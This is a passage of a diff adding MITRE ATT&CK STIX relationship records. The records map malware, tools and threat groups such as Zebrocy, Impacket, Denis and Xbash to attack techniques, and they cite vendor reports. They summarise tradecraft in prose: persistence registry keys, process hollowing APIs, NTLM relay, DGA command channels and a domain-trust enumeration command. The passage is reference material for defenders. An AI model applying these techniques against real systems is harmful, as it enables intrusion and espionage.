"source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-31T01:07:58.782Z", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c476a0da-44fd-4492-86ae-407aabab3735", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses DNS for C2.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "modified": "2020-03-17T01:49:29.619Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017" + }, + { + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. 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(2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ded0250c-8e38-480c-a580-1126b64194e7", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) victims are prompted to install malicious Google Chrome extensions which gave the threat actor the ability to read data from any website accessed. (Citation: Netscout Stolen Pencil Dec 2018)", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "modified": "2019-06-24T19:09:46.304Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-05T17:56:55.610Z", + "external_references": [ + { + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e305d328-ba42-4023-ac62-1656e3242d49", + "description": "(Citation: Netscout Stolen Pencil Dec 2018)", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "modified": "2019-06-24T19:09:46.322Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-05T17:56:55.638Z", + "external_references": [ + { + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--891f701a-b0d3-408a-8e2c-e9d9e727930e", + "description": "[Impacket](https://attack.mitre.org/software/S0357)'s wmiexec module can be used to execute commands through WMI.(Citation: Impacket Tools)", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2019-04-18T21:49:12.805Z", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-07T14:02:20.869Z", + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0318431e-ad44-44c7-97be-686d4efe79f4", + "description": "[Impacket](https://attack.mitre.org/software/S0357) modules like ntlmrelayx and smbrelayx can be used in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040) and [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001) to gather NetNTLM credentials for [Brute Force](https://attack.mitre.org/techniques/T1110) or relay attacks that can gain code execution.(Citation: Impacket Tools)", + "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "modified": "2020-03-31T22:20:18.066Z", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-07T19:13:01.960Z", + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8839b4ad-24cb-4ad3-a407-947f75591973", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) creates an entry in a Registry Run key for the malware to execute on startup.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2019-07-17T01:18:32.911Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.174Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018" + }, + { + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c56a229c-f033-4a51-ad5c-251dff28b87e", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to delete files and directories.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-12-09T21:54:33.971Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.206Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. 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Retrieved December 9, 2020.", + "source_name": "CISA Zebrocy Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--46452566-0f0f-4fe9-9cef-ef7e3d6eee36", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gets the username from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2020-12-09T21:54:34.039Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.217Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.", + "source_name": "CISA Zebrocy Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9355fe6-d17d-44ff-8098-bed9a4c478bb", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses port 465 for C2.(Citation: ESET Zebrocy Nov 2018)", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "modified": "2019-07-17T01:18:32.970Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.236Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--07eea18c-048c-4187-a6f1-ca97e9bfc846", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gathers the current time zone and date information from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "modified": "2020-12-09T21:54:34.109Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.240Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.", + "source_name": "CISA Zebrocy Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bcb137f0-e92d-47b5-912f-ba8d4f9ff15c", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses SSL and AES ECB for encrypting C2 communications.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020) ", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-12-09T21:53:58.741Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.284Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). 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Retrieved December 9, 2020.", + "source_name": "CISA Zebrocy Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c4a2a14a-6fb0-46cf-b97d-c4bcb1c751a7", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) stores all collected information in a single file before exfiltration.(Citation: ESET Zebrocy Nov 2018)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-17T15:13:26.623Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.291Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e9a4ceb4-ed33-48c4-b1f3-f73883b0e207", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2019-07-17T01:18:32.965Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.331Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. 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Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a0f218db-2d79-43b7-b2b8-ef1199ada766", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) performs persistence with a logon script via adding to the Registry key HKCU\\Environment\\UserInitMprLogonScript.(Citation: ESET Zebrocy Nov 2018)", + "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", + "modified": "2020-01-17T22:26:19.693Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T16:33:29.335Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--117ecbd3-b4cd-4ad2-a5f4-30ba79563406", + "description": "[Denis](https://attack.mitre.org/software/S0354) deploys additional backdoors and hacking tools to the system.(Citation: Cybereason Cobalt Kitty 2017)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2019-04-24T20:56:04.815Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T18:20:09.552Z", + "external_references": [ + { + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1e285f16-a145-46f5-aad3-0ea33392f147", + "description": "[Denis](https://attack.mitre.org/software/S0354) performed process hollowing through the API calls CreateRemoteThread, ResumeThread, and Wow64SetThreadContext.(Citation: Cybereason Cobalt Kitty 2017)", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "modified": "2020-03-17T13:23:46.650Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T18:20:09.578Z", + "external_references": [ + { + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", + "description": "Dahan, A. (2017). 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(2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. 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Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3341ad26-c7a8-4e42-a095-a49e65fde843", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can create a Startup item for persistence if it determines it is on a Windows system.(Citation: Unit42 Xbash Sept 2018)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2019-06-28T15:15:54.526Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T19:56:02.319Z", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. 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Retrieved June 4, 2019.", + "source_name": "Trend Micro Xbash Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc56f0e8-e059-403a-88e4-bd0b61bbc4b7", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can obtain a webpage hosted on Pastebin to update its C2 domain list.(Citation: Unit42 Xbash Sept 2018)", + "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", + "modified": "2020-03-20T21:31:36.067Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T19:56:02.352Z", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. 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(2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--597555f7-33e3-4699-9acf-9c7f15a850c9", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has masqueraded as a service called \"SaSaut\" with a display name of \"System Authorization Service\" in an apparent attempt to masquerade as a legitimate service.(Citation: Mandiant APT1 Appendix)", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "modified": "2020-03-18T15:48:36.742Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T21:28:19.412Z", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). 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Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d76d7b2-ec41-4630-8405-ec7db2c0607c", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has the capability to identify the drive type on a victim.(Citation: McAfee Oceansalt Oct 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-02-12T21:28:19.464Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-12T21:28:19.464Z", + "external_references": [ + { + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf", + "description": "Sherstobitoff, R., Malhotra, A. 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(2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7f5933ff-6665-4bee-a291-0152c928747d", + "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate trusted domains by using commands such as nltest /domain_trusts.(Citation: Nltest Manual)(Citation: Fortinet TrickBot)", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "modified": "2019-04-22T19:06:17.454Z", + "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-14T17:08:55.311Z", + "external_references": [ + { + "url": "https://ss64.com/nt/nltest.html", + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "source_name": "Nltest Manual" + }, + { + "source_name": "Fortinet TrickBot", + "description": "Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot\u2019s New Reconnaissance Plugin. Retrieved February 14, 2019.", + "url": "https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ee2068ec-c520-476e-979f-3dea201d0b9e", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) has modules such as Get-NetDomainTrust and Get-NetForestTrust to enumerate domain and forest trusts.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "modified": "2019-04-24T23:43:08.306Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-14T17:40:25.505Z", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. 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Retrieved February 14, 2019.", + "source_name": "Harmj0y Domain Trusts" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aebe8cdb-9aac-4704-998c-028ba0a81a74", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "modified": "2020-03-26T16:13:21.450Z", + "source_ref": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-02-15T13:04:25.256Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f412db39-9146-4600-8618-8aa7f54da4e0", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "modified": "2020-03-20T19:51:55.331Z", + "source_ref": "course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-02-18T17:22:58.006Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cd24838b-45b2-405d-b932-9ac49eca8d4a", + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008) if communications with the primary command and control server are lost.(Citation: Talos CCleanup 2017)", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "modified": "2020-03-16T21:25:53.520Z", + "source_ref": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-18T18:08:05.045Z", + "external_references": [ + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--489a8a76-4264-462f-be66-217e57d3e907", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses a DGA to derive command and control URLs from a word list.(Citation: FireEye POSHSPY April 2017)", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "modified": "2019-04-24T23:41:40.124Z", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-18T18:17:14.015Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a72ce53b-311d-43f2-b145-784c322306c1", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008), domains are generated by concatenating words from lists.(Citation: ESET Sednit 2017 Activity)", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "modified": "2019-05-14T17:10:21.995Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-18T18:26:55.749Z", + "external_references": [ + { + "source_name": "ESET Sednit 2017 Activity", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7bfc7122-2dc2-4fd3-be98-2ab87ba4a530", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses a DGA to communicate with command and control servers.(Citation: FireEye APT34 Dec 2017)", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "modified": "2019-04-23T19:32:14.748Z", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-02-18T20:16:12.245Z", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--978d8c12-bf39-440f-ac17-b66970451152", + "description": "(Citation: FireEye APT34 Dec 2017) (Citation: Palo Alto OilRig Sep 2018)", + "target_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "modified": 